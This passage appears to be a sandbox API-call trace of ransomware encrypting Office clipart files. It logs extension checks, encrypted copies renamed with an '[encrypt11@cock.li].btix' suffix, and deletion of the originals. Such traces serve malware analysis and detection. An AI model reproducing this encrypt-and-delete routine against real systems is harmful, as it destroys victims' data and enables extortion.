returned 4 [0058.368] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0058.368] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00252_.WMF") returned 68 [0058.368] lstrlenW (lpString=".zip") returned 4 [0058.368] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0058.368] lstrlenW (lpString=".rar") returned 4 [0058.368] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0058.368] lstrlenW (lpString=".bz2") returned 4 [0058.368] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0058.368] lstrlenW (lpString=".7z") returned 3 [0058.368] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0058.368] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00252_.WMF") returned 68 [0058.368] lstrlenW (lpString=".dbf") returned 4 [0058.368] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0058.368] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00252_.WMF") returned 68 [0058.368] lstrlenW (lpString=".1cd") returned 4 [0058.368] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0058.368] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00252_.WMF") returned 68 [0058.368] lstrlenW (lpString=".jpg") returned 4 [0058.368] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0058.525] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fec0 | out: lpNewFilePointer=0x0) returned 1 [0058.525] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fec0 | out: lpNewFilePointer=0x0) returned 1 [0058.525] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00254_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00254_.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0058.525] GetLastError () returned 0x0 [0058.525] ReadFile (in: hFile=0x348, lpBuffer=0x4054020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x366fecc, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesRead=0x366fecc*=0x6c8, lpOverlapped=0x0) returned 1 [0058.633] WriteFile (in: hFile=0x390, lpBuffer=0x4054020*, nNumberOfBytesToWrite=0x6d0, lpNumberOfBytesWritten=0x366fc94, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesWritten=0x366fc94*=0x6d0, lpOverlapped=0x0) returned 1 [0058.633] ReadFile (in: hFile=0x348, lpBuffer=0x4054020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x366fecc, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesRead=0x366fecc*=0x0, lpOverlapped=0x0) returned 1 [0058.633] WriteFile (in: hFile=0x390, lpBuffer=0x4054020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x366fc94, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesWritten=0x366fc94*=0xec, lpOverlapped=0x0) returned 1 [0058.633] SetEndOfFile (hFile=0x390) returned 1 [0058.634] CloseHandle (hObject=0x390) returned 1 [0058.634] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fec0 | out: lpNewFilePointer=0x0) returned 1 [0058.634] SetEndOfFile (hFile=0x348) returned 1 [0058.635] CloseHandle (hObject=0x348) returned 1 [0058.635] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00254_.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0058.635] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00254_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00254_.wmf")) returned 1 [0058.636] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00254_.WMF") returned 68 [0058.636] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00254_.WMF") returned 68 [0058.636] lstrlenW (lpString=".doc") returned 4 [0058.636] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0058.636] lstrlenW (lpString=".docx") returned 5 [0058.636] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0058.636] lstrlenW (lpString=".pdf") returned 4 [0058.636] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0058.636] lstrlenW (lpString=".xls") returned 4 [0058.636] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0058.636] lstrlenW (lpString=".xlsx") returned 5 [0058.636] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0058.636] lstrlenW (lpString=".ppt") returned 4 [0058.636] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0058.636] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00254_.WMF") returned 68 [0058.636] lstrlenW (lpString=".zip") returned 4 [0058.636] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0058.636] lstrlenW (lpString=".rar") returned 4 [0058.636] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0058.636] lstrlenW (lpString=".bz2") returned 4 [0058.636] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0058.636] lstrlenW (lpString=".7z") returned 3 [0058.636] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0058.636] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00254_.WMF") returned 68 [0058.637] lstrlenW (lpString=".dbf") returned 4 [0058.637] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0058.637] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00254_.WMF") returned 68 [0058.637] lstrlenW (lpString=".1cd") returned 4 [0058.637] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0058.637] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00254_.WMF") returned 68 [0058.637] lstrlenW (lpString=".jpg") returned 4 [0058.637] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0058.637] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fec0 | out: lpNewFilePointer=0x0) returned 1 [0058.637] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fec0 | out: lpNewFilePointer=0x0) returned 1 [0058.637] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00269_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00269_.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0058.638] GetLastError () returned 0x0 [0058.638] ReadFile (in: hFile=0x348, lpBuffer=0x4054020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x366fecc, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesRead=0x366fecc*=0x1498, lpOverlapped=0x0) returned 1 [0058.798] WriteFile (in: hFile=0x390, lpBuffer=0x4054020*, nNumberOfBytesToWrite=0x14a0, lpNumberOfBytesWritten=0x366fc94, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesWritten=0x366fc94*=0x14a0, lpOverlapped=0x0) returned 1 [0058.799] ReadFile (in: hFile=0x348, lpBuffer=0x4054020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x366fecc, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesRead=0x366fecc*=0x0, lpOverlapped=0x0) returned 1 [0058.799] WriteFile (in: hFile=0x390, lpBuffer=0x4054020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x366fc94, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesWritten=0x366fc94*=0xec, lpOverlapped=0x0) returned 1 [0058.799] SetEndOfFile (hFile=0x390) returned 1 [0058.799] CloseHandle (hObject=0x390) returned 1 [0058.800] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fec0 | out: lpNewFilePointer=0x0) returned 1 [0058.800] SetEndOfFile (hFile=0x348) returned 1 [0058.801] CloseHandle (hObject=0x348) returned 1 [0058.801] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00269_.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0058.801] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00269_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00269_.wmf")) returned 1 [0058.802] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00269_.WMF") returned 68 [0058.802] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00269_.WMF") returned 68 [0058.802] lstrlenW (lpString=".doc") returned 4 [0058.802] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0058.802] lstrlenW (lpString=".docx") returned 5 [0058.802] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0058.802] lstrlenW (lpString=".pdf") returned 4 [0058.802] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0058.802] lstrlenW (lpString=".xls") returned 4 [0058.802] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0058.802] lstrlenW (lpString=".xlsx") returned 5 [0058.802] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0058.802] lstrlenW (lpString=".ppt") returned 4 [0058.802] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0058.802] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00269_.WMF") returned 68 [0058.802] lstrlenW (lpString=".zip") returned 4 [0058.802] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0058.802] lstrlenW (lpString=".rar") returned 4 [0058.802] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0058.802] lstrlenW (lpString=".bz2") returned 4 [0058.802] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0058.802] lstrlenW (lpString=".7z") returned 3 [0058.802] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0058.802] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00269_.WMF") returned 68 [0058.802] lstrlenW (lpString=".dbf") returned 4 [0058.802] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0058.803] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00269_.WMF") returned 68 [0058.803] lstrlenW (lpString=".1cd") returned 4 [0058.803] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0058.803] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00269_.WMF") returned 68 [0058.803] lstrlenW (lpString=".jpg") returned 4 [0058.803] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0058.817] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fec0 | out: lpNewFilePointer=0x0) returned 1 [0058.817] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fec0 | out: lpNewFilePointer=0x0) returned 1 [0058.817] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00390_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00390_.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0058.828] GetLastError () returned 0x0 [0058.828] ReadFile (in: hFile=0x36c, lpBuffer=0x4054020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x366fecc, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesRead=0x366fecc*=0x332e, lpOverlapped=0x0) returned 1 [0058.993] WriteFile (in: hFile=0x388, lpBuffer=0x4054020*, nNumberOfBytesToWrite=0x3330, lpNumberOfBytesWritten=0x366fc94, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesWritten=0x366fc94*=0x3330, lpOverlapped=0x0) returned 1 [0058.994] ReadFile (in: hFile=0x36c, lpBuffer=0x4054020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x366fecc, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesRead=0x366fecc*=0x0, lpOverlapped=0x0) returned 1 [0058.994] WriteFile (in: hFile=0x388, lpBuffer=0x4054020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x366fc94, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesWritten=0x366fc94*=0xec, lpOverlapped=0x0) returned 1 [0058.994] SetEndOfFile (hFile=0x388) returned 1 [0058.994] CloseHandle (hObject=0x388) returned 1 [0058.995] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fec0 | out: lpNewFilePointer=0x0) returned 1 [0058.995] SetEndOfFile (hFile=0x36c) returned 1 [0058.996] CloseHandle (hObject=0x36c) returned 1 [0058.996] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00390_.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0058.996] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00390_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00390_.wmf")) returned 1 [0058.996] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00390_.WMF") returned 68 [0058.996] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00390_.WMF") returned 68 [0058.996] lstrlenW (lpString=".doc") returned 4 [0058.996] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0058.996] lstrlenW (lpString=".docx") returned 5 [0058.996] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0058.996] lstrlenW (lpString=".pdf") returned 4 [0058.996] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0058.996] lstrlenW (lpString=".xls") returned 4 [0058.996] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0058.997] lstrlenW (lpString=".xlsx") returned 5 [0058.997] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0058.997] lstrlenW (lpString=".ppt") returned 4 [0058.997] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0058.997] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00390_.WMF") returned 68 [0058.997] lstrlenW (lpString=".zip") returned 4 [0058.997] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0058.997] lstrlenW (lpString=".rar") returned 4 [0058.997] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0058.997] lstrlenW (lpString=".bz2") returned 4 [0058.997] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0058.997] lstrlenW (lpString=".7z") returned 3 [0058.997] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0058.997] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00390_.WMF") returned 68 [0058.997] lstrlenW (lpString=".dbf") returned 4 [0058.997] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0058.997] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00390_.WMF") returned 68 [0058.997] lstrlenW (lpString=".1cd") returned 4 [0058.997] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0058.997] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00390_.WMF") returned 68 [0058.997] lstrlenW (lpString=".jpg") returned 4 [0058.997] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0058.997] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fec0 | out: lpNewFilePointer=0x0) returned 1 [0058.997] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fec0 | out: lpNewFilePointer=0x0) returned 1 [0058.997] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00921_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00921_.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0058.998] GetLastError () returned 0x0 [0058.998] ReadFile (in: hFile=0x36c, lpBuffer=0x4054020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x366fecc, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesRead=0x366fecc*=0x1138, lpOverlapped=0x0) returned 1 [0059.369] WriteFile (in: hFile=0x388, lpBuffer=0x4054020*, nNumberOfBytesToWrite=0x1140, lpNumberOfBytesWritten=0x366fc94, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesWritten=0x366fc94*=0x1140, lpOverlapped=0x0) returned 1 [0059.375] ReadFile (in: hFile=0x36c, lpBuffer=0x4054020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x366fecc, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesRead=0x366fecc*=0x0, lpOverlapped=0x0) returned 1 [0059.375] WriteFile (in: hFile=0x388, lpBuffer=0x4054020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x366fc94, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesWritten=0x366fc94*=0xec, lpOverlapped=0x0) returned 1 [0059.375] SetEndOfFile (hFile=0x388) returned 1 [0059.376] CloseHandle (hObject=0x388) returned 1 [0059.376] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fec0 | out: lpNewFilePointer=0x0) returned 1 [0059.376] SetEndOfFile (hFile=0x36c) returned 1 [0059.377] CloseHandle (hObject=0x36c) returned 1 [0059.377] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00921_.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0059.678] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00921_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00921_.wmf")) returned 1 [0059.678] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00921_.WMF") returned 68 [0059.678] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00921_.WMF") returned 68 [0059.678] lstrlenW (lpString=".doc") returned 4 [0059.678] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0059.678] lstrlenW (lpString=".docx") returned 5 [0059.678] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0059.678] lstrlenW (lpString=".pdf") returned 4 [0059.679] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0059.679] lstrlenW (lpString=".xls") returned 4 [0059.679] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0059.679] lstrlenW (lpString=".xlsx") returned 5 [0059.679] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0059.679] lstrlenW (lpString=".ppt") returned 4 [0059.679] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0059.679] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00921_.WMF") returned 68 [0059.679] lstrlenW (lpString=".zip") returned 4 [0059.679] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0059.679] lstrlenW (lpString=".rar") returned 4 [0059.679] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0059.679] lstrlenW (lpString=".bz2") returned 4 [0059.679] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0059.679] lstrlenW (lpString=".7z") returned 3 [0059.679] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0059.679] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00921_.WMF") returned 68 [0059.679] lstrlenW (lpString=".dbf") returned 4 [0059.679] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0059.679] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00921_.WMF") returned 68 [0059.679] lstrlenW (lpString=".1cd") returned 4 [0059.679] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0059.679] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00921_.WMF") returned 68 [0059.679] lstrlenW (lpString=".jpg") returned 4 [0059.679] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0059.680] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fec0 | out: lpNewFilePointer=0x0) returned 1 [0059.680] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fec0 | out: lpNewFilePointer=0x0) returned 1 [0059.680] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00136_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00136_.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0059.680] GetLastError () returned 0x0 [0059.680] ReadFile (in: hFile=0x378, lpBuffer=0x4054020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x366fecc, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesRead=0x366fecc*=0x876, lpOverlapped=0x0) returned 1 [0059.764] WriteFile (in: hFile=0x320, lpBuffer=0x4054020*, nNumberOfBytesToWrite=0x880, lpNumberOfBytesWritten=0x366fc94, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesWritten=0x366fc94*=0x880, lpOverlapped=0x0) returned 1 [0059.765] ReadFile (in: hFile=0x378, lpBuffer=0x4054020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x366fecc, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesRead=0x366fecc*=0x0, lpOverlapped=0x0) returned 1 [0059.765] WriteFile (in: hFile=0x320, lpBuffer=0x4054020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x366fc94, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesWritten=0x366fc94*=0xec, lpOverlapped=0x0) returned 1 [0059.765] SetEndOfFile (hFile=0x320) returned 1 [0059.766] CloseHandle (hObject=0x320) returned 1 [0059.766] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fec0 | out: lpNewFilePointer=0x0) returned 1 [0059.766] SetEndOfFile (hFile=0x378) returned 1 [0059.767] CloseHandle (hObject=0x378) returned 1 [0059.767] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00136_.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0059.768] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00136_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00136_.wmf")) returned 1 [0059.806] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00136_.WMF") returned 68 [0059.806] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00136_.WMF") returned 68 [0059.806] lstrlenW (lpString=".doc") returned 4 [0059.806] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0059.806] lstrlenW (lpString=".docx") returned 5 [0059.807] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0059.807] lstrlenW (lpString=".pdf") returned 4 [0059.807] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0059.807] lstrlenW (lpString=".xls") returned 4 [0059.807] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0059.807] lstrlenW (lpString=".xlsx") returned 5 [0059.807] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0059.807] lstrlenW (lpString=".ppt") returned 4 [0059.807] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0059.807] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00136_.WMF") returned 68 [0059.807] lstrlenW (lpString=".zip") returned 4 [0059.807] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0059.986] lstrlenW (lpString=".rar") returned 4 [0059.986] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0059.986] lstrlenW (lpString=".bz2") returned 4 [0059.987] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0059.987] lstrlenW (lpString=".7z") returned 3 [0059.987] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0059.987] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00136_.WMF") returned 68 [0059.987] lstrlenW (lpString=".dbf") returned 4 [0059.987] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0059.987] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00136_.WMF") returned 68 [0059.987] lstrlenW (lpString=".1cd") returned 4 [0059.987] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0059.987] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00136_.WMF") returned 68 [0059.987] lstrlenW (lpString=".jpg") returned 4 [0059.987] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0059.987] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fec0 | out: lpNewFilePointer=0x0) returned 1 [0059.987] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fec0 | out: lpNewFilePointer=0x0) returned 1 [0059.987] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00439_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00439_.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0059.988] GetLastError () returned 0x0 [0059.988] ReadFile (in: hFile=0x368, lpBuffer=0x4054020, 